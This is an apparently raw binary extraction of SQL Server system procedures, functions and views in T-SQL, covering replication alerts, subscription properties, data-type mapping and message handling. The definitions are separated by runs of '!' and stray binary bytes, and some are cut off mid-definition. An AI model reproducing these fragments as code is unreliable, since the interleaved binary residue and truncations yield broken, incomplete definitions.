			    @db_name = @publisher_db
			    ,@current_principal = @current_principal output
		END TRY
		BEGIN CATCH
			select @current_principal =  @publisher
		END CATCH

		select @publisher = isnull(@current_principal, @publisher)
		
        -- Reinit snapshot or transactional subscription (article level)
        if @publication_type = 0 or @publication_type = 1
        begin
            set @proc = QUOTENAME(@publisher) + '.' + QUOTENAME(@publisher_db) + '.dbo.sp_reinitsubscription'
            exec @retcode = @proc
                @publication = @publication,
                @article = @article,
                @subscriber = @subscriber,
                @destination_db = @subscriber_db
            -- Ignore failures, update status bit if successful
            if @retcode = 0
            begin
                -- Change status to 1 which means the alerts has been serviced
                update msdb.dbo.sysreplicationalerts set status = 1 where alert_id = @alert_id

                -- Raiserror that subscription was reinitialized
                if @failure_level = 0
                    -- 'Subscriber ''%s'' subscription to article ''%s'' in publication ''%s'' has been reinitialized after a synchronization failure.'
                    raiserror(20576, 10,-1, @subscriber, @article, @publication) 
                else if @failure_level  = 1
                    -- 'Subscriber ''%s'' subscription to article ''%s'' in publication ''%s'' has been reinitialized after a validation failure.'
                    raiserror(20572, 10,-1, @subscriber, @article, @publication) 
            end
            else -- failure
                set @return_value = 1
        end
        -- Reinit merge subscription (full publication)
        else if @publication_type = 2       
        begin
            set @proc = QUOTENAME(@publisher) + '.' + QUOTENAME(@publisher_db) + '.dbo.sp_reinitmergesubscription'
            exec @retcode = @proc
                @publication = @publication,
                @subscriber = @subscriber,
                @subscriber_db = @subscriber_db
            -- Ignore failures, update status bit if successful
            if @retcode = 0
            begin
                -- Change status to 1 which means the alerts has been serviced
                update msdb.dbo.sysreplicationalerts set status = 1 where alert_id = @alert_id

                -- Raiserror that subscription was reinitialized
                if @failure_level = 0
                    -- 'Subscriber ''%s'' subscription to to article ''%s'' in publication ''%s'' has been reinitialized after a synchronization failure.'
                     raiserror(20576, 10,-1, @subscriber, @article, @publication) 
                else if @failure_level  = 1
                    -- 'Subscriber ''%s'' subscription to to article ''%s'' in publication ''%s'' has been reinitialized after a validation failure.'
                    raiserror(20572, 10,-1, @subscriber, @article, @publication)
            end
            else -- failure
                set @return_value = 1
        end

        fetch hc into  @publisher, @publisher_db, @publication, @publication_type, @article, @subscriber, @subscriber_db, @alert_id
    end

    close hc
    deallocate hc

    -- Return a message stating no entries where found
    if @found = 0
    begin
        -- 'No entries were found in msdb.dbo.sysreplicationalerts.'
        raiserror(20577, 10,-1) 

        -- There is most likely a problem, set failure return value
        set @return_value = 1
    end

    return @return_value 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	s<h8"!u^0| 68
create procedure sys.sp_MSfixupuseftp (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @use_ftp bit, -- default null
    @subscription_type int,
    @force_zero bit
    )
AS

    DECLARE @local_use_ftp bit
    DECLARE @retcode INT

    IF @use_ftp = 0 AND @force_zero = 0
    BEGIN
        -- Parameter is unspecifed, try to inherit value from
        -- shared susbcriptions
        SELECT TOP 1 @local_use_ftp = use_ftp
          FROM MSsubscription_properties sp
          JOIN MSreplication_subscriptions rs  
            ON UPPER(sp.publisher) = UPPER(rs.publisher)
           AND sp.publisher_db = rs.publisher_db
           AND rs.subscription_type = @subscription_type
           AND rs.independent_agent = 0
         WHERE UPPER(sp.publisher) = UPPER(@publisher)
           AND sp.publisher_db = @publisher_db
           AND sp.publication <> @publication
        IF @@ROWCOUNT > 0           
        BEGIN
           -- Inherit the values from other shared subscriptions
           UPDATE MSsubscription_properties SET 
            use_ftp = @local_use_ftp
            WHERE UPPER(publisher) = UPPER(@publisher)
              AND publisher_db = @publisher_db
              AND publication = @publication
        END  
    END
    ELSE
    BEGIN
        EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
           @publisher = @publisher,
           @publisher_db = @publisher_db,
           @publication = @publication,
           @property = N'use_ftp',
           @intvalue = @use_ftp,
           @subscription_type = @subscription_type
        
        IF @retcode <> 0 OR @@ERROR <> 0
            GOTO FixupFailure                                    
    END

    RETURN 0

FixupFailure:
    RETURN 1
 
0 	8
create view sys.spt_parameters_numbered_parameters
as
    select
        object_id           = s_p.object_id,
        procedure_number    = convert(smallint, -- not in sys.parameters
                                        case    -- These conditions should match the ones in sys.spt_all_procedures
                                        when o.type in ('P', 'PC')          then 1
                                        when o.type in ('FN', 'TF', 'IF')   then 0
                                        else NULL
                                        end),
        name                = s_p.name,
        parameter_id        = s_p.parameter_id,
        system_type_id      = s_p.system_type_id,
        user_type_id        = s_p.user_type_id,
        "precision"         = s_p.precision,
        scale               = s_p.scale,
        -- OLEDB spec requires 0 when type size is unlimitted
        max_length          = (case s_p.max_length when -1 then 0 else s_p.max_length end),
        real_max_length     = s_p.max_length,
        is_output           = s_p.is_output,
        has_default_value   = s_p.has_default_value,
        default_value       = s_p.default_value,
        xml_collection_id   = s_p.xml_collection_id
    from
        sys.all_parameters s_p inner join
        sys.all_objects o on
            (
                s_p.object_id = o.object_id
            )

    union all

    select
        object_id           = s_npp.object_id,
        procedure_number    = s_npp.procedure_number, -- not in sys.parameters
        name                = s_npp.name,
        parameter_id        = s_npp.parameter_id,
        system_type_id      = s_npp.system_type_id,
        user_type_id        = s_npp.user_type_id,
        "precision"         = s_npp.precision,
        scale               = s_npp.scale,
        -- OLEDB spec requires 0 when type size is unlimitted
        max_length          = (case s_npp.max_length when -1 then 0 else s_npp.max_length end),
        real_max_length     = s_npp.max_length,
        is_output           = s_npp.is_output,
        has_default_value   = convert(bit, 0),  -- not in sys.numbered_procedure_parameters
        default_value       = NULL,             -- not in sys.numbered_procedure_parameters
        xml_collection_id   = NULL              -- not in sys.numbered_procedure_parameters
    from
        sys.numbered_procedure_parameters s_npp
0 D8h5!0g D85hv70z =8
--
-- Name:
--		fn_MSrepl_checktype
--
-- Description:
--		Verify if type exists
--
-- Inputs:
--		@type		== type name
--		@dbms		== dbms name
--		@version	== dbms version
--
-- Returns:
--		1 == TRUE
--		0 == FALSE
--
-- Security:
--		Internal
--
-- Notes:
--
--

CREATE FUNCTION sys.fn_MSrepl_checktype
(
	@type		sysname,
	@dbms		sysname,
	@version	sysname = NULL
)
RETURNS BIT
AS
BEGIN
	IF NOT EXISTS
	(
		SELECT	type
		FROM	msdb.dbo.MSdbms dbms,
				msdb.dbo.MSdbms_datatype dt
		WHERE	dbms.dbms_id	= dt.dbms_id
		  AND	UPPER(type COLLATE DATABASE_DEFAULT) =
		        UPPER(@type COLLATE DATABASE_DEFAULT)

		  AND	dbms.dbms		= @dbms
		  AND	sys.fn_IHcompareversion(dbms.version, @version) = 1
	)
	BEGIN
		RETURN (0)
	END
	
	RETURN (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Q`<
9%L0 8create function sys.fn_replgetbinary8lodword (
    @binary8_value binary(8)
    ) returns int
as
begin
    declare @lodword int
    select @lodword = convert(int, substring(@binary8_value, 5, 4))
    return @lodword
end
0@ 8create procedure sys.sp_altermessage
	@message_id       int,
	@parameter        sysname,
	@parameter_value  varchar(5)
as
	declare @msg	varchar(128)
	declare @log	bit
	select @parameter = UPPER (@parameter collate Latin1_General_CI_AS)
	select @parameter_value = UPPER (@parameter_value collate Latin1_General_CI_AS)

	-- Must be ServerAdmin to manage messages
	if is_srvrolemember('serveradmin') = 0
	begin
		raiserror(15247,-1,-1)
		return (1)
	end

	-- Is Parameter 'WITH_LOG'?
	if (@parameter <> 'WITH_LOG')
	begin
		raiserror(15176,-1,-1)
		return (1)
	end

	-- Is ParameterValue TRUE or FALSE?
	select @log = (case @parameter_value
		when 'TRUE'	then 1
		when 'FALSE' then 0
		end)
	if @log is null
	begin
		raiserror(15277,-1,-1)
		return (1)
	end

	BEGIN TRANSACTION
	-- Does this message exist?
	EXEC %%ErrorMessage(ID = @message_id).Lock(Exclusive = 1)
	if @@error <> 0
	begin
		COMMIT TRANSACTION
		raiserror(15179,-1,-1,@message_id)
		return (1)
	end

	declare @msg_str nvarchar(50)
	set @msg_str = @message_id

	-- Turn event log on or off
	EXEC %%ErrorMessage(ID = @message_id).SetEventLog(EventLog = @log)
	
	-- EMDEventType(x_eet_Alter_Message), EMDUniversalClass(x_eunc_Message), src major id, src minor id, src name
	-- -1 means ignore target stuff, target major id, target minor id, target name,
	-- # of parameters, 5 parameters
	EXEC %%System().FireTrigger(ID = 215, ID = 106, ID = @message_id, ID = 0, Value = @msg_str,
		ID = -1, ID = 0, ID = 0, Value = NULL, 
		ID = 3, Value = @message_id, Value = @parameter, Value = @parameter_value, Value = NULL, Value = NULL, Value = NULL, Value = NULL)

	COMMIT TRANSACTION

	return (0)	-- sp_altermessage
0 P c
8
--
-- Name:
--		fn_helpdatatypemap
--
-- Description:
--		Retrieve data type map as inline table
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		public
--
-- Notes:
--		Produces the full data type map based on input
--		parameters.  Includes filtered version based
--		on source and destination dbms, and defaults.
--

CREATE FUNCTION sys.fn_helpdatatypemap
(
	@source_dbms			sysname	= '%',
	@source_version			sysname	= '%',
	@source_type			sysname	= '%',
	@destination_dbms		sysname	= '%',
	@destination_version	sysname	= '%',
	@destination_type		sysname	= '%',
	@defaults_only			bit		= 0
)
RETURNS @retDataMap TABLE
(
	mapping_id					int,
	source_dbms					sysname collate database_default,
	source_version				sysname NULL,
	source_type					sysname collate database_default,
	source_length_min			bigint,
	source_length_max			bigint,
	source_precision_min		bigint,
	source_precision_max		bigint,
	source_scale_min			int,
	source_scale_max			int,
	source_nullable				bit,
	source_createparams			int,
	destination_dbms			sysname collate database_default,
	destination_version			sysname collate database_default NULL,
	destination_type			sysname collate database_default,
	destination_length			bigint,
	destination_precision		bigint,
	destination_scale			int,
	destination_nullable		bit,
	destination_createparams	int,
	dataloss					bit,
	is_default					bit
)
AS
BEGIN
	DECLARE @filter  nvarchar(4000)

	-- Prepare dbms for case insensitive searches
	SET @source_dbms		= UPPER(@source_dbms)
	SET @destination_dbms	= UPPER(@destination_dbms)

	INSERT	@retDataMap
	SELECT	dm.datatype_mapping_id,
			src.dbms,
			src.version,
			srcdt.type,
			map.src_len_min,
			map.src_len_max,
			map.src_prec_min,
			map.src_prec_max,
			map.src_scale_min,
			map.src_scale_max,
			map.src_nullable,
			srcdt.createparams,
			dest.dbms,
			dest.version,
			destdt.type,
			dm.dest_length,
			CASE
				WHEN dm.dest_precision > 0 and dm.dest_scale > dm.dest_precision THEN dm.dest_scale
				ELSE dm.dest_precision
			END,
			dm.dest_scale,
			dm.dest_nullable,
			dm.dest_createparams,
			dm.dataloss,
			case
				when map.default_datatype_mapping_id = dm.datatype_mapping_id then 1
				else 0
			end as [is_default]
	FROM	msdb.dbo.MSdbms src,
			msdb.dbo.MSdbms dest,
			msdb.dbo.MSdbms_datatype srcdt,
			msdb.dbo.MSdbms_datatype destdt,
			msdb.dbo.MSdbms_map map,
			msdb.dbo.MSdbms_datatype_mapping dm
	WHERE	src.dbms_id				= map.src_dbms_id
	  AND	dest.dbms_id			= map.dest_dbms_id
	  AND	srcdt.datatype_id		= map.src_datatype_id
	  AND	map.map_id				= dm.map_id
	  AND	dm.dest_datatype_id		= destdt.datatype_id
      AND   (@source_dbms = '%' OR src.dbms = @source_dbms)
      AND   sys.fn_IHcompareversion(src.version, @source_version) = 1
      AND   (@destination_dbms = '%' OR dest.dbms = @destination_dbms)
      AND   sys.fn_IHcompareversion(dest.version, @destination_version) = 1
      AND   (@source_type = N'%' OR srcdt.type = @source_type)
      AND   (@destination_type = N'%' OR destdt.type = @destination_type)
      AND   (@defaults_only = 0 OR map.default_datatype_mapping_id = dm.datatype_mapping_id)
    ORDER BY src.dbms,
			 src.version,
			 dest.dbms,
			 dest.version,
			 srcdt.type,
			 [is_default] desc,
			 destdt.type
	
    RETURN
END
0@ C8create procedure [sys].[sp_cdc_ddl_history]  				
(														
	@capture_instance		sysname
)
with execute as 'dbo'
as
begin

	select object_schema_name(t.source_object_id) as source_schema,
		   object_name(t.source_object_id) as source_table, t.capture_instance,
	       h.required_column_update, h.ddl_command, h.ddl_lsn, h.ddl_time
	from [cdc].[ddl_history] h inner join [cdc].[change_tables] t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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!eH`<:Jx0I 8create procedure sys.sp_addqueued_artinfo 
(
    @artid                int
    ,@article            sysname
    ,@publisher         sysname
    ,@publisher_db        sysname
    ,@publication        sysname
    ,@dest_table        sysname
    ,@owner                sysname
    ,@cft_table            sysname
    ,@columns binary(32) = NULL  -- this is used by 80 publisher
)
AS
BEGIN
    set nocount on
    declare  @agent_id int
                ,@update_mode int
                ,@retcode int
                ,@thisspname sysname

    select @thisspname = N'sp_addqueued_artinfo'
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- Create MSsubscription_agents/MSsubscription_articles if necessary
    -- this could be needed for manual synchronization case
    --
    if object_id(N'dbo.MSsubscription_agents') is null
        or object_id(N'dbo.MSsubscription_articles') is null
        or object_id(N'dbo.MSsubscription_articlecolumns') is null
    begin
        exec @retcode = sys.sp_MScreate_sub_tables_internal
                    @tran_sub_table = 1,
                    @property_table = 1,
                    @sqlqueue_table = 1,
                    @subscription_articles_table = 1
        if  (@@error != 0 or @retcode != 0)
            return 1
    end
    --
    -- insert the row for the given article
    --
    select @agent_id = id, @update_mode = update_mode
    from dbo.MSsubscription_agents 
    where UPPER(publisher) = UPPER(@publisher) and 
        publisher_db = @publisher_db and 
        publication = @publication 

    if (@agent_id IS NULL)
    begin
        raiserror(21758, 16, 1, @publisher, @publisher_db, @publication)
        return (1)
    end
    --
    -- If the subscription is read only or immediate, no need to article info.
    --
    if @update_mode in (0,1)
        return 0
    --
    -- If MSMQ Queued mode - check if the subscriber is compliant for MSMQ 2.0
    --
    if (@update_mode in (2,3))
    begin
        if ((platform() & 0x1) != 0x1)
        begin
            --
            -- Win 9X platform
            --
            raiserror(21334, 16, 1, '2.0')
            return (1)
        end
        --
        -- Now we use xp_MSver to detect NT OS version
        -- MSMQ subscription only allowed for platforms that support MSMQ 2.0
        -- version 5.0.2195 or higher
        --
        create table #tosversion ( propid int, propname sysname collate database_default, value int, charvalue nvarchar(255) collate database_default)
        insert into #tosversion (propid, propname, value, charvalue)
        exec master.dbo.xp_msver N'WindowsVersion'

        declare @vervalue int
                    ,@lobyte tinyint
                    ,@hibyte tinyint
                    ,@loword smallint
                    ,@hiword smallint

        --
        -- low order byte of low order word = OSmajor, high order byte of low order word = OSminor
        -- high order word = OSbuild
        --
        select @vervalue = value from #tosversion where propname = N'WindowsVersion'
        select @loword = (@vervalue & 0xffff)
                ,@hiword = (@vervalue / 0x10000) & 0xffff
        select @lobyte = @loword & 0xff
                ,@hibyte = (@loword / 100) & 0xff
        drop table #tosversion
        --
        -- check for OS major version
        --
        if (@lobyte < 5)
        begin
            raiserror(21334, 16, 2, '2.0')
            return (1)
        end
        --
        -- check for OS build version
        --
        if (@lobyte = 5 and @hiword < 2195)
        begin
            raiserror(21334, 16, 3, '2.0')
            return (1)
        end
    end
    --
    -- Check for owner - use current user for NULL value
    --
    if (@owner IS NULL or lower(@owner) = N'null' collate database_default)
        select @owner = schema_name()
    --
    -- refresh entry in MSsubscription_articles
    --
    if exists (select * from dbo.MSsubscription_articles where agent_id = @agent_id and artid = @artid)
        delete dbo.MSsubscription_articles where agent_id = @agent_id and artid = @artid
    insert into dbo.MSsubscription_articles(agent_id, artid, article, dest_table, owner, cft_table)
        values (@agent_id, @artid, @article, @dest_table, @owner, @cft_table)
    IF (@@ERROR != 0)
    begin
        raiserror(21499, 16, 1, @thisspname, 'populate', 'MSsubscription_articles', @@error)
        return (1)
    end
    --
    -- If 80 publisher issued this call - then populate MSsubscription_articlecolumns
    --
    if (@columns is not null)
    begin
        if exists (select * from dbo.MSsubscription_articlecolumns where agent_id = @agent_id and artid = @artid)
            delete dbo.MSsubscription_articlecolumns where agent_id = @agent_id and artid = @artid
        insert into dbo.MSsubscription_articlecolumns(agent_id, artid, colid)
        select @agent_id, @artid, colid from sys.fn_replgetcolidfrombitmap(@columns)
        if (@@error != 0)
        begin
            raiserror(21499, 16, 2, @thisspname, 'populate', 'MSsubscription_articlecolumns', @@error)
            return (1)
        end
    end
    -- Do the queue initialization here
    -- this way we can initialize Snapshot/Logbased queued tran from one place
    --
    exec @retcode = sys.sp_MSreset_queue @publisher, @publisher_db, @publication, @artid
    if (@retcode != 0 or @@ERROR != 0)
    begin
        raiserror(21542, 16, 1, @@error, 'sp_MSreset_queue')
        return (1)
    end
    --
    -- all done
    --
    return 0    
END
0ǏS@ 8CREATE PROC sys.sp_help_spatial_geometry_index_xml
(
	@tabname		NVARCHAR(776),		-- the TABLE to check for indexes
	@indexname		SYSNAME,		-- the INDEX name
	@verboseoutput	TINYINT,		-- OUTPUT all properties
	@query_sample	GEOMETRY,		-- query window object
	@xml_output		XML OUTPUT		-- XML variable to OUTPUT
)
AS
BEGIN
	EXEC sys.sp_help_spatial_geometry_index_helper @tabname, @indexname, 1, @xml_output OUTPUT, @verboseoutput, @query_sample
END
0P 8CREATE PROCEDURE sys.sp_MSget_subscription_dts_info 
(
    @job_id varbinary(16)
) 
AS
begin
    SET NOCOUNT ON
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    select dts_package_name, dts_package_location 
    from MSdistribution_agents where
    job_id = @job_id

    RETURN (0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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EFAULT DOMAIN --
    if (charindex('\', @loginame) = 0)
    begin
         select @loginame = default_domain() + '\' + @loginame
    end

	Declare @ret   int     -- return value of sp call
    execute @ret = sys.sp_revokelogin @loginame
    return (@ret)
0,q@ 8create procedure sys.sp_MSrepl_addscriptexec
(
    @publication    sysname,
    @scriptfile        nvarchar(4000),
    @skiperror        bit
)
AS
BEGIN
declare @directory nvarchar(4000)
declare @cmd nvarchar(4000)
declare @filename nvarchar(1024)
declare @subdirectory nvarchar(1024)
declare @artid int
declare @pubid int
declare @repl_freq int
declare @retcode int
declare @merge_pubid uniqueidentifier
declare @schemaversion int
declare @schemaguid uniqueidentifier

set nocount on

exec @retcode = sys.sp_MSreplcheck_publish
if @@ERROR <> 0 or @retcode <> 0
    return(1)

-- Check to see if the database has been activated for publication.
IF sys.fn_MSrepl_ispublished(DB_NAME()) <> 1
BEGIN
    RAISERROR (14013, 16, -1)
    RETURN (1)
END

IF @publication IS NULL
BEGIN
    RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_addscriptexec')
    RETURN (1)
END
ELSE
BEGIN
    EXECUTE @retcode = sys.sp_validname @publication
        IF @retcode <> 0
            RETURN (1)
END

-- Make sure the publication is available before any cmdshell work.
if object_id('syspublications') is not NULL
begin
    select @pubid = pubid, @repl_freq = repl_freq  from syspublications where name = @publication
    if @pubid is not null
    begin 
        -- Doesn't make sense to post for every article in the publication, 
        -- but artid is required for sp_replpostcmd to work, so just pick one.
        select top 1 @artid = artid from sysarticles where pubid = @pubid
        if(@artid is null)
        begin 
            RAISERROR (21332, 16, -1, @publication)
            return (1)
        end
        if(@repl_freq = 1) -- don't try to post to snapshot publication, it won't work.
        begin 
            RAISERROR (21340, 16, -1, @publication)
            return (1)
        end
    end
end
if object_id('sysmergepublications') is not NULL
begin 
    select @merge_pubid = pubid  from dbo.sysmergepublications where name = @publication and publisher_db = db_name() and UPPER(publisher) = UPPER(publishingservername())
    if @merge_pubid is not null
    begin 
        select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
        if @schemaversion is null
            select @schemaversion = 1

        select @schemaguid = newid()
    end
end

if(@pubid is null and @merge_pubid is null)
begin 
    RAISERROR (21332, 16, -1, @publication)
    return (1)
end

IF @scriptfile IS NULL
BEGIN
    RAISERROR (14043, 16, -1, '@scriptfile', 'sp_MSrepl_addscriptexec')
    RETURN (1)
END

if (@merge_pubid is not NULL)
begin
    exec @retcode = sys.sp_MScopyscriptfile_merge @publication, @scriptfile, @cmd=@cmd output
    if @retcode <>0 or @@ERROR<>0
        return (1)
end
else
begin
    exec @retcode = sys.sp_MScopyscriptfile @scriptfile, @cmd=@cmd output
    if @retcode <>0 or @@ERROR<>0
        return (1)
end

select @cmd = convert(nchar(1), @skiperror) + @cmd
if @pubid is not null
    exec @retcode = sys.sp_replpostcmd 0, @pubid, @artid, 46, @cmd
if @merge_pubid is not null
    exec @retcode = sys.sp_MSinsertschemachange @merge_pubid, NULL, @schemaversion, @schemaguid, 46, @cmd 
if @retcode <>0 or @@ERROR<>0
    return (1)
return (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<<:AZ0
@ 8create procedure sys.sp_browsesnapshotfolder
(
    @publication    sysname,
    @subscriber     sysname = NULL,
    @subscriber_db  sysname = NULL,
    @publisher        sysname = NULL
)
AS
BEGIN
    DECLARE @cmd        	nvarchar(4000)
    DECLARE @retcode    	int
    DECLARE @publisher_type sysname

    SET @retcode = 0
    
    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher      = @publisher,
													@rpcheader      = @cmd OUTPUT,
													@publisher_type = @publisher_type OUTPUT
    
    IF @retcode <> 0
        RETURN (@retcode)

    -- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
    set @cmd = @cmd + N'sys.sp_MSrepl_browsesnapshotfolder'
    
    EXEC @retcode = @cmd
                    @publication,
                    @subscriber,
                    @subscriber_db,
                    @publisher,
                    @publisher_type

    RETURN (@retcode)
END
0
- 8create procedure sys.sp_MSagent_access_check (
    @job_id         VARBINARY(16),
    @agent_type     sysname = NULL -- 'distribution' or 'merge', case insensitive
) AS

    DECLARE @retcode int
    DECLARE @count   int

    IF @agent_type IS NOT NULL
    BEGIN
        IF LOWER(@agent_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN (N'distribution', N'merge')
        BEGIN
            RAISERROR(21170, 16, -1)
            RETURN (1)
        END
    END

    SELECT @retcode = 0
    -- Create a list of owners of the subscriptions depending on the given 
    -- agent 
    CREATE TABLE #sub_owner_list (owner_name sysname collate database_default)

    -- Try querying the Transactional subscriptions for the owner 
    IF @agent_type IS NULL OR LOWER(@agent_type collate SQL_Latin1_General_CP1_CS_AS) = N'distribution'
    BEGIN

        IF EXISTS (SELECT * 
                     FROM sys.objects 
                    WHERE type in (N'S', N'U') AND name = N'syssubscriptions')
        BEGIN
            INSERT INTO #sub_owner_list 
            SELECT DISTINCT login_name 
              FROM dbo.syssubscriptions 
             WHERE distribution_jobid = @job_id 
        END

